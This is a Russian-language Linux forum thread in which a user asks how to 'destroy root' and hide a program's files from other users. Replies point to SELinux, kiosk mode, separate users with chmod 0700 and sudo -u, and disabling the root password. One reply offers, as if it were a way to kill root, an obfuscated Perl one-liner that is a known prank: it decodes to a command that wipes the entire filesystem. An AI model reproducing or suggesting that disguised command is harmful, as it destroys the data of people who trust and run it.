Цель такова: создаю пользователя, запрещаю ему все по максимому, создаю прогу под root и разрешаю ей выполниться под user в том числе писать и читать файл по окончанию ее действия. .. при этом user не видит ээти файлы И прога работает....в принципе все как хотелось. .. но осталось совсм убить root и чтоб никто из под user не смог никак ничего изменить.... был эксперимент удалил в passwd строку первую с упоминанием о root. И Полностью закоментировал sudoers.. но как то не очень уверен в надежности.... поправьте мои действия... или подскажите как правильно реализовать такое чтоб изменить настройки можно было лишь при переустановке системмы с форматированием
уничтожить root
polzovatel, цель как раз не обозначена. Что сделали - почти понятно. Что получилось - чуть менее, но как бы вроде. А вот хотели-то чего?
И да, это не "Общие вопросы", а в конкретную ОС. Политики везде разные и уж точно не везде используется sudoers.
И да, root Вы решили убить для системы вовсе? *ROFL*
Если user имеет физический доступ к компьютеру, то при желании он сможет сделать всё.
А произведённые действия - лишние и могут рассматриваться как признак неадекватного
восприятия действительности.
Пётр.
polzovatel, совсем убить root не получится, т.к. у вас основной "костяк" работает с абсолютными правами.
Если хотите запретить пользователю химичить - изучайте групповые политики в Linux, а не изобретайте
самотык.
kiosk
Обоснуйте пожалуйста! *SCRATCH*kiosk
чтоб никто из под user не смог никак ничего изменить....
Правда, он сможет изменять некоторые настройки , но до следующей перезагрузки.
Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.
в инитрд монтировать и запрускать нужное
Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.
Учим SELinux. Это как раз для него типовая задача.
что ж вы над человеком так издеваетесь?
можно убить рута
если автор того хочет
sudo echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Цель такова
наверное вы хотите, что-бы на русском форуме вам объяснили, кто вы такой… Я угадал?
Прошу прощения за сумбур..... цель-использование файла и каталога только программой и сокрытие того-же файла/каталога от просмотра Всеми остальными кроме проги.
1. создаёте двух юзеров А, Б
2. ставите под Б программу
3. делаете[console]$ chmod 0700 ~[/console] под Б
4. через sudo разрешаете выполнять программу юзеру А под именем Б
5. по вкусу добавляете ещё какие-нить политики/разрешения.
Учим SELinux. Это как раз для него типовая задача.
отстрел комаров из BFG-10k ИМХО. Но да, можно попробовать…
Обоснуйте пожалуйста! *SCRATCH*[/quote][quote=yars]kiosk
Данный режим запрещает пользователю все. Ему доступны только те функции к которым ему дали доступ. Киоск называется по тому что терминал оплаты заменил киоскеров. Если видели терминал или банкомат то это оно и есть. В банках и магазинах данный режим даёт пользователю доступ к браузеру со специальной версией сайта. Пользователь может просматривать страницы, но закрыть браузер не может.
Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.
В Fedora root есть, а авторизоваться тоже нельзя — колдовать нужно.А вот авторизоваться нельзя.
ну почему же нельзя? sudo -i никто не отменял. А многие кулибины придумали sudo su.Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.
Вот только ТСу совсем НЕ это нужно, перечитайте пожалуйста первый пост. И этот: уничтожить root Это не киоск, а какое-то одно приложение, тут нужно либо sudo -u userB, либо ещё что-то такое.
root есть везде. Без него Linux тупо не загрузится.В Fedora root есть
Набрать в Google "how to remove root ubuntu"
Там по умолчанию root "сломали" то есть выполнять приложения можно с привелегиями. А вот авторизоваться нельзя.
Это кто ещё придумал?
[console]sudo passwd
su[/console]
Учетная запись root есть и её нельзя удалить.
В противном случае как пользователь планирует повышать привилегии приложений?
Можно только отключить. В Убунту так это делается "sudo passwd -dl root" да и включить её не составит труда по той же инструкции...
Да там вообще написано sudo выполняется с паролем пользователя, а не рута...
Поэтому пользователю Убунта подходит меньше всего...
https://help.ubuntu.com/community/RootSudo